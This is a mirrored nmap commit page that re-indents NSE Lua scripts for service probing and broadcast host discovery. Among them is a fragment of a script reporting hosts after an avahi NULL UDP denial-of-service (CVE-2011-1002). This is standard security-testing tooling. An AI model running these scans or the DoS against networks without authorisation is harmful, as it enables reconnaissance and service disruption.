1
0
mirror of https://github.com/nmap/nmap.git synced 2025-12-07 21:21:31 +00:00

Re-indent some scripts. Whitespace-only commit

https://secwiki.org/w/Nmap/Code_Standards
This commit is contained in:
dmiller
2014-01-31 13:02:29 +00:00
parent 64fb5b3482
commit d36c08dcf5
137 changed files with 3977 additions and 3977 deletions

View File

@@ -45,57 +45,57 @@ portrule = shortport.portnumber(548, "tcp")
action = function(host, port) action = function(host, port)
local status, response, shares local status, response, shares
local result = {} local result = {}
local afpHelper = afp.Helper:new() local afpHelper = afp.Helper:new()
local args = nmap.registry.args local args = nmap.registry.args
local users = nmap.registry.afp or { ['nil'] = 'nil' } local users = nmap.registry.afp or { ['nil'] = 'nil' }
if ( args['afp.username'] ) then if ( args['afp.username'] ) then
users = {} users = {}
users[args['afp.username']] = args['afp.password'] users[args['afp.username']] = args['afp.password']
end end
for username, password in pairs(users) do for username, password in pairs(users) do
status, response = afpHelper:OpenSession(host, port) status, response = afpHelper:OpenSession(host, port)
if ( not status ) then if ( not status ) then
stdnse.print_debug(response) stdnse.print_debug(response)
return return
end end
-- if we have a username attempt to authenticate as the user -- if we have a username attempt to authenticate as the user
-- Attempt to use No User Authentication? -- Attempt to use No User Authentication?
if ( username ~= 'nil' ) then if ( username ~= 'nil' ) then
status, response = afpHelper:Login(username, password) status, response = afpHelper:Login(username, password)
else else
status, response = afpHelper:Login() status, response = afpHelper:Login()
end end
if ( not status ) then if ( not status ) then
stdnse.print_debug("afp-showmount: Login failed", response) stdnse.print_debug("afp-showmount: Login failed", response)
stdnse.print_debug(3, "afp-showmount: Login error: %s", response) stdnse.print_debug(3, "afp-showmount: Login error: %s", response)
return return
end end
status, shares = afpHelper:ListShares() status, shares = afpHelper:ListShares()
if status then if status then
for _, vol in ipairs( shares ) do for _, vol in ipairs( shares ) do
local status, response = afpHelper:GetSharePermissions( vol ) local status, response = afpHelper:GetSharePermissions( vol )
if status then if status then
response.name = vol response.name = vol
table.insert(result, response) table.insert(result, response)
end end
end end
end end
status, response = afpHelper:Logout() status, response = afpHelper:Logout()
status, response = afpHelper:CloseSession() status, response = afpHelper:CloseSession()
if ( result ) then if ( result ) then
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end
end end
return return
end end

View File

@@ -33,42 +33,42 @@ local arg_path = stdnse.get_script_args(SCRIPT_NAME .. ".path")
local function fail(err) return ("\n ERROR: %s"):format(err or "") end local function fail(err) return ("\n ERROR: %s"):format(err or "") end
action = function(host, port) action = function(host, port)
local helper = ajp.Helper:new(host, port) local helper = ajp.Helper:new(host, port)
if ( not(helper:connect()) ) then if ( not(helper:connect()) ) then
return fail("Failed to connect to AJP server") return fail("Failed to connect to AJP server")
end end
local status, answer = helper:get(arg_path or "/") local status, answer = helper:get(arg_path or "/")
--- check for 401 response code --- check for 401 response code
if ( not(status) or answer.status ~= 401 ) then if ( not(status) or answer.status ~= 401 ) then
return return
end end
local result = { name = answer["status-line"]:match("^(.*)\r?\n$") } local result = { name = answer["status-line"]:match("^(.*)\r?\n$") }
local www_authenticate = answer.headers["www-authenticate"] local www_authenticate = answer.headers["www-authenticate"]
if not www_authenticate then if not www_authenticate then
table.insert( result, ("Server returned status %d but no WWW-Authenticate header."):format(answer.status) ) table.insert( result, ("Server returned status %d but no WWW-Authenticate header."):format(answer.status) )
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end
local challenges = http.parse_www_authenticate(www_authenticate) local challenges = http.parse_www_authenticate(www_authenticate)
if ( not(challenges) ) then if ( not(challenges) ) then
table.insert( result, ("Server returned status %d but the WWW-Authenticate header could not be parsed."):format(answer.status) ) table.insert( result, ("Server returned status %d but the WWW-Authenticate header could not be parsed."):format(answer.status) )
table.insert( result, ("WWW-Authenticate: %s"):format(www_authenticate) ) table.insert( result, ("WWW-Authenticate: %s"):format(www_authenticate) )
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end
for _, challenge in ipairs(challenges) do for _, challenge in ipairs(challenges) do
local line = challenge.scheme local line = challenge.scheme
if ( challenge.params ) then if ( challenge.params ) then
for name, value in pairs(challenge.params) do for name, value in pairs(challenge.params) do
line = line .. (" %s=%s"):format(name, value) line = line .. (" %s=%s"):format(name, value)
end end
end end
table.insert(result, line) table.insert(result, line)
end end
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end

View File

@@ -34,15 +34,15 @@ local arg_path = stdnse.get_script_args(SCRIPT_NAME .. '.path') or "/"
local function fail(err) return ("\n ERROR: %s"):format(err or "") end local function fail(err) return ("\n ERROR: %s"):format(err or "") end
action = function(host, port) action = function(host, port)
local method local method
local helper = ajp.Helper:new(host, port) local helper = ajp.Helper:new(host, port)
helper:connect() helper:connect()
local status, response = helper:get(arg_path) local status, response = helper:get(arg_path)
helper:close() helper:close()
if ( not(status) ) then if ( not(status) ) then
return fail("Failed to retrieve server headers") return fail("Failed to retrieve server headers")
end end
return stdnse.format_output(true, response.rawheaders) return stdnse.format_output(true, response.rawheaders)
end end

View File

@@ -42,40 +42,40 @@ local arg_url = stdnse.get_script_args(SCRIPT_NAME .. ".path") or "/"
local UNINTERESTING_METHODS = { "GET", "HEAD", "POST", "OPTIONS" } local UNINTERESTING_METHODS = { "GET", "HEAD", "POST", "OPTIONS" }
local function filter_out(t, filter) local function filter_out(t, filter)
local result = {} local result = {}
for _, e in ipairs(t) do for _, e in ipairs(t) do
if ( not(stdnse.contains(filter, e)) ) then if ( not(stdnse.contains(filter, e)) ) then
result[#result + 1] = e result[#result + 1] = e
end end
end end
return result return result
end end
local function fail(err) return ("\n ERROR: %s"):format(err or "") end local function fail(err) return ("\n ERROR: %s"):format(err or "") end
action = function(host, port) action = function(host, port)
local helper = ajp.Helper:new(host, port) local helper = ajp.Helper:new(host, port)
if ( not(helper:connect()) ) then if ( not(helper:connect()) ) then
return fail("Failed to connect to server") return fail("Failed to connect to server")
end end
local status, response = helper:options(arg_url) local status, response = helper:options(arg_url)
helper:close() helper:close()
if ( not(status) or response.status ~= 200 or if ( not(status) or response.status ~= 200 or
not(response.headers) or not(response.headers['allow']) ) then not(response.headers) or not(response.headers['allow']) ) then
return "Failed to get a valid response for the OPTION request" return "Failed to get a valid response for the OPTION request"
end end
local methods = stdnse.strsplit(",%s", response.headers['allow']) local methods = stdnse.strsplit(",%s", response.headers['allow'])
local output = {} local output = {}
table.insert(output, ("Supported methods: %s"):format(stdnse.strjoin(" ", methods))) table.insert(output, ("Supported methods: %s"):format(stdnse.strjoin(" ", methods)))
local interesting = filter_out(methods, UNINTERESTING_METHODS) local interesting = filter_out(methods, UNINTERESTING_METHODS)
if ( #interesting > 0 ) then if ( #interesting > 0 ) then
table.insert(output, "Potentially risky methods: " .. stdnse.strjoin(" ", interesting)) table.insert(output, "Potentially risky methods: " .. stdnse.strjoin(" ", interesting))
table.insert(output, "See http://nmap.org/nsedoc/scripts/ajp-methods.html") table.insert(output, "See http://nmap.org/nsedoc/scripts/ajp-methods.html")
end end
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
end end

View File

@@ -56,47 +56,47 @@ local function fail(err) return ("\n ERROR: %s"):format(err or "") end
action = function(host, port) action = function(host, port)
local helper = ajp.Helper:new(host, port) local helper = ajp.Helper:new(host, port)
if ( not(helper:connect()) ) then if ( not(helper:connect()) ) then
return fail("Failed to connect to AJP server") return fail("Failed to connect to AJP server")
end end
local valid_methods = { local valid_methods = {
["GET"] = true, ["GET"] = true,
["HEAD"] = true, ["HEAD"] = true,
["TRACE"] = true, ["TRACE"] = true,
["PUT"] = true, ["PUT"] = true,
["DELETE"] = true, ["DELETE"] = true,
["OPTIONS"]= true, ["OPTIONS"]= true,
} }
local method = arg_method:upper() local method = arg_method:upper()
if ( not(valid_methods[method]) ) then if ( not(valid_methods[method]) ) then
return fail(("Method not supported: %s"):format(arg_method)) return fail(("Method not supported: %s"):format(arg_method))
end end
local options = { auth = { username = arg_username, password = arg_password } } local options = { auth = { username = arg_username, password = arg_password } }
local status, response = helper:request(arg_method, arg_path, nil, nil, options) local status, response = helper:request(arg_method, arg_path, nil, nil, options)
if ( not(status) ) then if ( not(status) ) then
return fail("Failed to retrieve response for request") return fail("Failed to retrieve response for request")
end end
helper:close() helper:close()
if ( response ) then if ( response ) then
local output = response['status-line'] .. "\n" .. local output = response['status-line'] .. "\n" ..
stdnse.strjoin("\n", response.rawheaders) .. stdnse.strjoin("\n", response.rawheaders) ..
(response.body and "\n\n" .. response.body or "") (response.body and "\n\n" .. response.body or "")
if ( arg_file ) then if ( arg_file ) then
local f = io.open(arg_file, "w") local f = io.open(arg_file, "w")
if ( not(f) ) then if ( not(f) ) then
return fail(("Failed to open file %s for writing"):format(arg_file)) return fail(("Failed to open file %s for writing"):format(arg_file))
end end
f:write(output) f:write(output)
f:close() f:close()
return ("Response was written to file: %s"):format(arg_file) return ("Response was written to file: %s"):format(arg_file)
else else
return "\n" .. output return "\n" .. output
end end
end end
end end

View File

@@ -32,49 +32,49 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default", "safe"} categories = {"default", "safe"}
portrule = function(host, port) portrule = function(host, port)
local auth_port = { number=113, protocol="tcp" } local auth_port = { number=113, protocol="tcp" }
local identd = nmap.get_port_state(host, auth_port) local identd = nmap.get_port_state(host, auth_port)
return identd ~= nil return identd ~= nil
and identd.state == "open" and identd.state == "open"
and port.protocol == "tcp" and port.protocol == "tcp"
and port.state == "open" and port.state == "open"
end end
action = function(host, port) action = function(host, port)
local owner = "" local owner = ""
local client_ident = nmap.new_socket() local client_ident = nmap.new_socket()
local client_service = nmap.new_socket() local client_service = nmap.new_socket()
local catch = function() local catch = function()
client_ident:close() client_ident:close()
client_service:close() client_service:close()
end end
local try = nmap.new_try(catch) local try = nmap.new_try(catch)
try(client_ident:connect(host, 113)) try(client_ident:connect(host, 113))
try(client_service:connect(host, port)) try(client_service:connect(host, port))
local localip, localport, remoteip, remoteport = local localip, localport, remoteip, remoteport =
try(client_service:get_info()) try(client_service:get_info())
local request = port.number .. ", " .. localport .. "\r\n" local request = port.number .. ", " .. localport .. "\r\n"
try(client_ident:send(request)) try(client_ident:send(request))
owner = try(client_ident:receive_lines(1)) owner = try(client_ident:receive_lines(1))
if string.match(owner, "ERROR") then if string.match(owner, "ERROR") then
owner = nil owner = nil
else else
owner = string.match(owner, owner = string.match(owner,
"%d+%s*,%s*%d+%s*:%s*USERID%s*:%s*.+%s*:%s*(.+)\r?\n") "%d+%s*,%s*%d+%s*:%s*USERID%s*:%s*.+%s*:%s*(.+)\r?\n")
end end
try(client_ident:close()) try(client_ident:close())
try(client_service:close()) try(client_service:close())
return owner return owner
end end

View File

@@ -26,12 +26,12 @@ categories = {"malware", "safe"}
portrule = shortport.port_or_service(113, "auth") portrule = shortport.port_or_service(113, "auth")
action = function(host, port) action = function(host, port)
local status, owner = comm.get_banner(host, port, {lines=1}) local status, owner = comm.get_banner(host, port, {lines=1})
if not status then if not status then
return return
end end
return "Spoofed reply: " .. owner return "Spoofed reply: " .. owner
end end

View File

@@ -40,35 +40,35 @@ portrule = shortport.port_or_service(8333, "bitcoin", "tcp" )
action = function(host, port) action = function(host, port)
local bcoin = bitcoin.Helper:new(host, port, { timeout = 20000 }) local bcoin = bitcoin.Helper:new(host, port, { timeout = 20000 })
local status = bcoin:connect() local status = bcoin:connect()
if ( not(status) ) then if ( not(status) ) then
return "\n ERROR: Failed to connect to server" return "\n ERROR: Failed to connect to server"
end end
local status, ver = bcoin:exchVersion() local status, ver = bcoin:exchVersion()
if ( not(status) ) then if ( not(status) ) then
return "\n ERROR: Failed to extract version information" return "\n ERROR: Failed to extract version information"
end end
local status, nodes = bcoin:getNodes() local status, nodes = bcoin:getNodes()
if ( not(status) ) then if ( not(status) ) then
return "\n ERROR: Failed to extract address information" return "\n ERROR: Failed to extract address information"
end end
bcoin:close() bcoin:close()
local response = tab.new(2) local response = tab.new(2)
tab.addrow(response, "ip", "timestamp") tab.addrow(response, "ip", "timestamp")
for _, node in ipairs(nodes.addresses or {}) do for _, node in ipairs(nodes.addresses or {}) do
if ( target.ALLOW_NEW_TARGETS ) then if ( target.ALLOW_NEW_TARGETS ) then
target.add(node.address.host) target.add(node.address.host)
end end
tab.addrow(response, ("%s:%d"):format(node.address.host, node.address.port), os.date("%x %X", node.ts)) tab.addrow(response, ("%s:%d"):format(node.address.host, node.address.port), os.date("%x %X", node.ts))
end end
if ( #response > 1 ) then if ( #response > 1 ) then
return stdnse.format_output(true, tab.dump(response) ) return stdnse.format_output(true, tab.dump(response) )
end end
end end

View File

@@ -37,30 +37,30 @@ portrule = shortport.port_or_service(8333, "bitcoin", "tcp" )
action = function(host, port) action = function(host, port)
local NETWORK = { local NETWORK = {
[3652501241] = "main", [3652501241] = "main",
[3669344250] = "testnet" [3669344250] = "testnet"
} }
local bcoin = bitcoin.Helper:new(host, port, { timeout = 10000 }) local bcoin = bitcoin.Helper:new(host, port, { timeout = 10000 })
local status = bcoin:connect() local status = bcoin:connect()
if ( not(status) ) then if ( not(status) ) then
return "\n ERROR: Failed to connect to server" return "\n ERROR: Failed to connect to server"
end end
local status, ver = bcoin:exchVersion() local status, ver = bcoin:exchVersion()
if ( not(status) ) then if ( not(status) ) then
return "\n ERROR: Failed to extract version information" return "\n ERROR: Failed to extract version information"
end end
bcoin:close() bcoin:close()
local result = {} local result = {}
table.insert(result, ("Timestamp: %s"):format(stdnse.format_timestamp(ver.timestamp))) table.insert(result, ("Timestamp: %s"):format(stdnse.format_timestamp(ver.timestamp)))
table.insert(result, ("Network: %s"):format(NETWORK[ver.magic])) table.insert(result, ("Network: %s"):format(NETWORK[ver.magic]))
table.insert(result, ("Version: %s"):format(ver.ver)) table.insert(result, ("Version: %s"):format(ver.ver))
table.insert(result, ("Node Id: %s"):format(ver.nodeid)) table.insert(result, ("Node Id: %s"):format(ver.nodeid))
table.insert(result, ("Lastblock: %s"):format(ver.lastblock)) table.insert(result, ("Lastblock: %s"):format(ver.lastblock))
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end

View File

@@ -35,16 +35,16 @@ local stdnse = require("stdnse")
portrule = shortport.portnumber({8611, 8612}, "udp") portrule = shortport.portnumber({8611, 8612}, "udp")
action = function(host, port) action = function(host, port)
local helper = bjnp.Helper:new(host, port) local helper = bjnp.Helper:new(host, port)
if ( not(helper:connect()) ) then if ( not(helper:connect()) ) then
return "\n ERROR: Failed to connect to server" return "\n ERROR: Failed to connect to server"
end end
local status, attrs local status, attrs
if ( port.number == 8611 ) then if ( port.number == 8611 ) then
status, attrs = helper:getPrinterIdentity() status, attrs = helper:getPrinterIdentity()
else else
status, attrs = helper:getScannerIdentity() status, attrs = helper:getScannerIdentity()
end end
helper:close() helper:close()
return stdnse.format_output(true, attrs) return stdnse.format_output(true, attrs)
end end

View File

@@ -61,11 +61,11 @@ action = function()
local output, hosts, tmp = {}, {}, {} local output, hosts, tmp = {}, {}, {}
for _, hostcfg in pairs(result) do for _, hostcfg in pairs(result) do
for k, ip in pairs(hostcfg) do for k, ip in pairs(hostcfg) do
if type(k) == "string" and k == "name" then if type(k) == "string" and k == "name" then
if avahi_send_null_udp(ip) then if avahi_send_null_udp(ip) then
table.insert(hosts, ip) table.insert(hosts, ip)
tmp[ip] = true tmp[ip] = true
end end
end end
end end
end end
@@ -74,7 +74,7 @@ action = function()
hosts.name = "Discovered hosts:" hosts.name = "Discovered hosts:"
table.insert(output, hosts) table.insert(output, hosts)
table.insert(output, table.insert(output,
"After NULL UDP avahi packet DoS (CVE-2011-1002).") "After NULL UDP avahi packet DoS (CVE-2011-1002).")
stdnse.print_debug(3, "sleeping for %d seconds", wtime) stdnse.print_debug(3, "sleeping for %d seconds", wtime)
stdnse.sleep(wtime) stdnse.sleep(wtime)

View File

@@ -33,54 +33,54 @@ prerule = function() return true end
-- @param server_version string containing the product release -- @param server_version string containing the product release
-- @return ver string containing the version information -- @return ver string containing the version information
local function parseVersion( server_version ) local function parseVersion( server_version )
local pfx = string.sub(server_version,1,3) local pfx = string.sub(server_version,1,3)
if pfx == "SQL" then if pfx == "SQL" then
local major_version = string.sub(server_version,4,5) local major_version = string.sub(server_version,4,5)
-- strip the leading 0 from the major version, for consistency with -- strip the leading 0 from the major version, for consistency with
-- nmap-service-probes results -- nmap-service-probes results
if string.sub(major_version,1,1) == "0" then if string.sub(major_version,1,1) == "0" then
major_version = string.sub(major_version,2) major_version = string.sub(major_version,2)
end end
local minor_version = string.sub(server_version,6,7) local minor_version = string.sub(server_version,6,7)
local hotfix = string.sub(server_version,8) local hotfix = string.sub(server_version,8)
server_version = major_version .. "." .. minor_version .. "." .. hotfix server_version = major_version .. "." .. minor_version .. "." .. hotfix
else else
return "Unknown version" return "Unknown version"
end end
return ("IBM DB2 v%s"):format(server_version) return ("IBM DB2 v%s"):format(server_version)
end end
action = function() action = function()
local DB2GETADDR = "DB2GETADDR\0SQL09010\0" local DB2GETADDR = "DB2GETADDR\0SQL09010\0"
local socket = nmap.new_socket("udp") local socket = nmap.new_socket("udp")
local result = {} local result = {}
local host, port = "255.255.255.255", 523 local host, port = "255.255.255.255", 523
socket:set_timeout(5000) socket:set_timeout(5000)
local status = socket:sendto( host, port, DB2GETADDR ) local status = socket:sendto( host, port, DB2GETADDR )
if ( not(status) ) then return end if ( not(status) ) then return end
while(true) do while(true) do
local data local data
status, data = socket:receive() status, data = socket:receive()
if( not(status) ) then break end if( not(status) ) then break end
local version, srvname = data:match("DB2RETADDR.(SQL%d+).(.-)\0") local version, srvname = data:match("DB2RETADDR.(SQL%d+).(.-)\0")
local _, ip local _, ip
status, _, _, ip, _ = socket:get_info() status, _, _, ip, _ = socket:get_info()
if ( not(status) ) then return end if ( not(status) ) then return end
if target.ALLOW_NEW_TARGETS then target.add(ip) end if target.ALLOW_NEW_TARGETS then target.add(ip) end
if ( status ) then if ( status ) then
table.insert( result, ("%s - Host: %s; Version: %s"):format(ip, srvname, parseVersion( version ) ) ) table.insert( result, ("%s - Host: %s; Version: %s"):format(ip, srvname, parseVersion( version ) ) )
end end
end end
socket:close() socket:close()
return stdnse.format_output( true, result ) return stdnse.format_output( true, result )
end end

View File

@@ -47,11 +47,11 @@ categories = {"broadcast", "safe"}
prerule = function() return true end prerule = function() return true end
action = function() action = function()
local helper = dnssd.Helper:new( ) local helper = dnssd.Helper:new( )
helper:setMulticast(true) helper:setMulticast(true)
local status, result = helper:queryServices() local status, result = helper:queryServices()
if ( status ) then if ( status ) then
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end
end end

View File

@@ -32,37 +32,37 @@ local function isGroup(flags) return ( bit.band(flags, 0x8000) == 0x8000 ) end
action = function() action = function()
-- NBNS only works over ipv4 -- NBNS only works over ipv4
if ( nmap.address_family() == "inet6") then return end if ( nmap.address_family() == "inet6") then return end
local MASTER_BROWSER_DOMAIN = 0x1D local MASTER_BROWSER_DOMAIN = 0x1D
local STD_WORKSTATION_SERVICE = 0x00 local STD_WORKSTATION_SERVICE = 0x00
local NBNAME = "\1\2__MSBROWSE__\2\1" local NBNAME = "\1\2__MSBROWSE__\2\1"
local BROADCAST_ADDR = "255.255.255.255" local BROADCAST_ADDR = "255.255.255.255"
local status, result = netbios.nbquery( { ip = BROADCAST_ADDR }, NBNAME, { multiple = true }) local status, result = netbios.nbquery( { ip = BROADCAST_ADDR }, NBNAME, { multiple = true })
if ( not(status) ) then return end if ( not(status) ) then return end
local outtab = tab.new(3) local outtab = tab.new(3)
tab.addrow(outtab, 'ip', 'server', 'domain') tab.addrow(outtab, 'ip', 'server', 'domain')
for _, v in ipairs(result) do for _, v in ipairs(result) do
local status, names, _ = netbios.do_nbstat(v.peer) local status, names, _ = netbios.do_nbstat(v.peer)
local srv_name, domain_name local srv_name, domain_name
if (status) then if (status) then
for _, item in ipairs(names) do for _, item in ipairs(names) do
if ( item.suffix == MASTER_BROWSER_DOMAIN and not(isGroup(item.flags)) ) then if ( item.suffix == MASTER_BROWSER_DOMAIN and not(isGroup(item.flags)) ) then
domain_name = item.name domain_name = item.name
elseif ( item.suffix == STD_WORKSTATION_SERVICE and not(isGroup(item.flags)) ) then elseif ( item.suffix == STD_WORKSTATION_SERVICE and not(isGroup(item.flags)) ) then
srv_name = item.name srv_name = item.name
end end
end end
if ( srv_name and domain_name ) then if ( srv_name and domain_name ) then
tab.addrow(outtab, v.peer, srv_name, domain_name) tab.addrow(outtab, v.peer, srv_name, domain_name)
else else
stdnse.print_debug(3, "No server name or domain name was found") stdnse.print_debug(3, "No server name or domain name was found")
end end
end end
end end
return "\n" .. tab.dump(outtab) return "\n" .. tab.dump(outtab)
end end

View File

@@ -26,69 +26,69 @@ prerule = function() return true end
local function Callit( host, port, program, protocol ) local function Callit( host, port, program, protocol )
local results = {} local results = {}
local portmap, comm = rpc.Portmap:new(), rpc.Comm:new('rpcbind', 2) local portmap, comm = rpc.Portmap:new(), rpc.Comm:new('rpcbind', 2)
local status, result = comm:Connect(host, port) local status, result = comm:Connect(host, port)
if (not(status)) then if (not(status)) then
return false, result return false, result
end end
comm.socket:set_timeout(10000) comm.socket:set_timeout(10000)
status, result = portmap:Callit(comm, program, protocol, 2 ) status, result = portmap:Callit(comm, program, protocol, 2 )
if ( not(status) ) then if ( not(status) ) then
return false, result return false, result
end end
while ( status ) do while ( status ) do
local _, rhost local _, rhost
status, _, _, rhost, _ = comm:GetSocketInfo() status, _, _, rhost, _ = comm:GetSocketInfo()
if (not(status)) then if (not(status)) then
return false, "Failed to get socket information" return false, "Failed to get socket information"
end end
if ( status ) then if ( status ) then
table.insert(results, rhost) table.insert(results, rhost)
end end
status, result = comm:ReceivePacket() status, result = comm:ReceivePacket()
end end
comm:Disconnect() comm:Disconnect()
return true, results return true, results
end end
local function fail(err) return ("\n ERROR: %s"):format(err or "") end local function fail(err) return ("\n ERROR: %s"):format(err or "") end
action = function() action = function()
local results = {} local results = {}
local ip = ( nmap.address_family() == "inet" ) and "255.255.255.255" or "ff02::202" local ip = ( nmap.address_family() == "inet" ) and "255.255.255.255" or "ff02::202"
local iface = nmap.get_interface() local iface = nmap.get_interface()
-- handle problematic sends on OS X requiring the interface to be -- handle problematic sends on OS X requiring the interface to be
-- supplied as part of IPv6 -- supplied as part of IPv6
if ( iface and nmap.address_family() == "inet6" ) then if ( iface and nmap.address_family() == "inet6" ) then
ip = ip .. "%" .. iface ip = ip .. "%" .. iface
end end
for _, port in ipairs({7938,111}) do for _, port in ipairs({7938,111}) do
local host, port = { ip = ip }, { number = port, protocol = "udp" } local host, port = { ip = ip }, { number = port, protocol = "udp" }
local status local status
status, results = Callit( host, port, "nsrstat", "udp" ) status, results = Callit( host, port, "nsrstat", "udp" )
-- warn about problematic sends on OS X requiring the interface to be -- warn about problematic sends on OS X requiring the interface to be
-- supplied as part of IPv6 -- supplied as part of IPv6
if ( not(status) and results == "Portmap.Callit: Failed to send data" ) then if ( not(status) and results == "Portmap.Callit: Failed to send data" ) then
return fail("Failed sending data, try supplying the correct interface using -e") return fail("Failed sending data, try supplying the correct interface using -e")
end end
if ( status ) then if ( status ) then
break break
end end
end end
if ( "table" == type(results) and 0 < #results ) then if ( "table" == type(results) and 0 < #results ) then
return stdnse.format_output(true, results) return stdnse.format_output(true, results)
end end
end end

View File

@@ -32,48 +32,48 @@ prerule = function() return true end
function action() function action()
local helper = srvloc.Helper:new() local helper = srvloc.Helper:new()
local status, bindery = helper:ServiceRequest("bindery.novell", "DEFAULT") local status, bindery = helper:ServiceRequest("bindery.novell", "DEFAULT")
if ( not(status) or not(bindery) ) then if ( not(status) or not(bindery) ) then
helper:close() helper:close()
return return
end end
bindery = bindery[1] bindery = bindery[1]
local srvname = bindery:match("%/%/%/(.*)$") local srvname = bindery:match("%/%/%/(.*)$")
local status, attrib = helper:AttributeRequest(bindery, "DEFAULT", "svcaddr-ws") local status, attrib = helper:AttributeRequest(bindery, "DEFAULT", "svcaddr-ws")
helper:close() helper:close()
attrib = attrib:match("^%(svcaddr%-ws=(.*)%)$") attrib = attrib:match("^%(svcaddr%-ws=(.*)%)$")
if ( not(attrib) ) then return end if ( not(attrib) ) then return end
local attribs = stdnse.strsplit(",", attrib) local attribs = stdnse.strsplit(",", attrib)
if ( not(attribs) ) then return end if ( not(attribs) ) then return end
local addrs = { name = "Addresses"} local addrs = { name = "Addresses"}
local ips = {} local ips = {}
for _, attr in ipairs(attribs) do for _, attr in ipairs(attribs) do
local addr = attr:match("^%d*%-%d*%-%d*%-(........)") local addr = attr:match("^%d*%-%d*%-%d*%-(........)")
if ( addr ) then if ( addr ) then
local pos, dw_addr = bin.unpack( "<I", bin.pack("H", addr) ) local pos, dw_addr = bin.unpack( "<I", bin.pack("H", addr) )
local ip = ipOps.fromdword(dw_addr) local ip = ipOps.fromdword(dw_addr)
if ( not(ips[ip]) ) then if ( not(ips[ip]) ) then
table.insert(addrs, ip) table.insert(addrs, ip)
ips[ip] = ip ips[ip] = ip
end end
end end
end end
local output = {} local output = {}
local status, treename = helper:ServiceRequest("ndap.novell", "DEFAULT") local status, treename = helper:ServiceRequest("ndap.novell", "DEFAULT")
if ( status ) then if ( status ) then
treename = treename[1] treename = treename[1]
treename = treename:match("%/%/%/(.*)%.$") treename = treename:match("%/%/%/(.*)%.$")
table.insert(output, ("Tree name: %s"):format(treename)) table.insert(output, ("Tree name: %s"):format(treename))
end end
table.insert(output, ("Server name: %s"):format(srvname)) table.insert(output, ("Server name: %s"):format(srvname))
table.insert(output, addrs) table.insert(output, addrs)
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
end end

View File

@@ -30,43 +30,43 @@ prerule = function() return ( nmap.address_family() == "inet") end
action = function() action = function()
local host = { ip = "255.255.255.255" } local host = { ip = "255.255.255.255" }
local port = { number = 5632, protocol = "udp" } local port = { number = 5632, protocol = "udp" }
local socket = nmap.new_socket("udp") local socket = nmap.new_socket("udp")
socket:set_timeout(500) socket:set_timeout(500)
for i=1,2 do for i=1,2 do
local status = socket:sendto(host, port, "NQ") local status = socket:sendto(host, port, "NQ")
if ( not(status) ) then if ( not(status) ) then
return "\n ERROR: Failed to send broadcast request" return "\n ERROR: Failed to send broadcast request"
end end
end end
local timeout = TIMEOUT or ( 20 / ( nmap.timing_level() + 1 ) ) local timeout = TIMEOUT or ( 20 / ( nmap.timing_level() + 1 ) )
local responses = {} local responses = {}
local stime = os.time() local stime = os.time()
repeat repeat
local status, data = socket:receive() local status, data = socket:receive()
if ( status ) then if ( status ) then
local srvname = data:match("^NR([^_]*)_*AHM_3___\0$") local srvname = data:match("^NR([^_]*)_*AHM_3___\0$")
if ( srvname ) then if ( srvname ) then
local status, _, _, rhost, _ = socket:get_info() local status, _, _, rhost, _ = socket:get_info()
if ( not(status) ) then if ( not(status) ) then
socket:close() socket:close()
return false, "Failed to get socket information" return false, "Failed to get socket information"
end end
-- avoid duplicates -- avoid duplicates
responses[rhost] = srvname responses[rhost] = srvname
end end
end end
until( os.time() - stime > timeout ) until( os.time() - stime > timeout )
socket:close() socket:close()
local result = {} local result = {}
for ip, name in pairs(responses) do for ip, name in pairs(responses) do
table.insert(result, ("%s - %s"):format(ip,name)) table.insert(result, ("%s - %s"):format(ip,name))
end end
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end

View File

@@ -30,42 +30,42 @@ prerule = function() return ( nmap.address_family() == 'inet' ) end
local function fail(err) return ("\n ERROR: %s"):format(err or "") end local function fail(err) return ("\n ERROR: %s"):format(err or "") end
action = function() action = function()
local socket = nmap.new_socket("udp") local socket = nmap.new_socket("udp")
local host, port = { ip = "255.255.255.255" }, { number = 30303, protocol = "udp" } local host, port = { ip = "255.255.255.255" }, { number = 30303, protocol = "udp" }
socket:set_timeout(5000) socket:set_timeout(5000)
if ( not(socket:sendto(host, port, "D")) ) then if ( not(socket:sendto(host, port, "D")) ) then
return fail("Failed to send discovery request to server") return fail("Failed to send discovery request to server")
end end
local output = {} local output = {}
while( true ) do while( true ) do
local status, response = socket:receive() local status, response = socket:receive()
if ( not(status) ) then if ( not(status) ) then
break break
end end
local status, _, _, ip = socket:get_info() local status, _, _, ip = socket:get_info()
if ( not(status) ) then if ( not(status) ) then
stdnse.print_debug(2, "Failed to get socket information") stdnse.print_debug(2, "Failed to get socket information")
break break
end end
local prod, mac, activation, version = response:match("^([^:]*):([^:]*):([^:]*):([^:]*)$") local prod, mac, activation, version = response:match("^([^:]*):([^:]*):([^:]*):([^:]*)$")
if ( prod and mac and activation and version ) then if ( prod and mac and activation and version ) then
local output_part = { local output_part = {
name = ip, name = ip,
("Product: %s"):format(prod), ("Product: %s"):format(prod),
("MAC: %s"):format(mac), ("MAC: %s"):format(mac),
("Activation code: %s"):format(activation), ("Activation code: %s"):format(activation),
("Version: %s"):format(version) ("Version: %s"):format(version)
} }
table.insert(output, output_part) table.insert(output, output_part)
end end
end end
if ( 0 < #output ) then if ( 0 < #output ) then
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
end end
end end

View File

@@ -40,12 +40,12 @@ prerule = function() return true end
-- Sends UPnP discovery packet to host, -- Sends UPnP discovery packet to host,
-- and extracts service information from results -- and extracts service information from results
action = function() action = function()
local helper = upnp.Helper:new() local helper = upnp.Helper:new()
helper:setMulticast(true) helper:setMulticast(true)
local status, result = helper:queryServices() local status, result = helper:queryServices()
if ( status ) then if ( status ) then
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end
end end

View File

@@ -25,14 +25,14 @@ categories = {"broadcast", "safe"}
prerule = function() return true end prerule = function() return true end
action = function() action = function()
local helper = srvloc.Helper:new() local helper = srvloc.Helper:new()
local status, result = helper:ServiceRequest("service:odbms.versant:vod", "default") local status, result = helper:ServiceRequest("service:odbms.versant:vod", "default")
helper:close() helper:close()
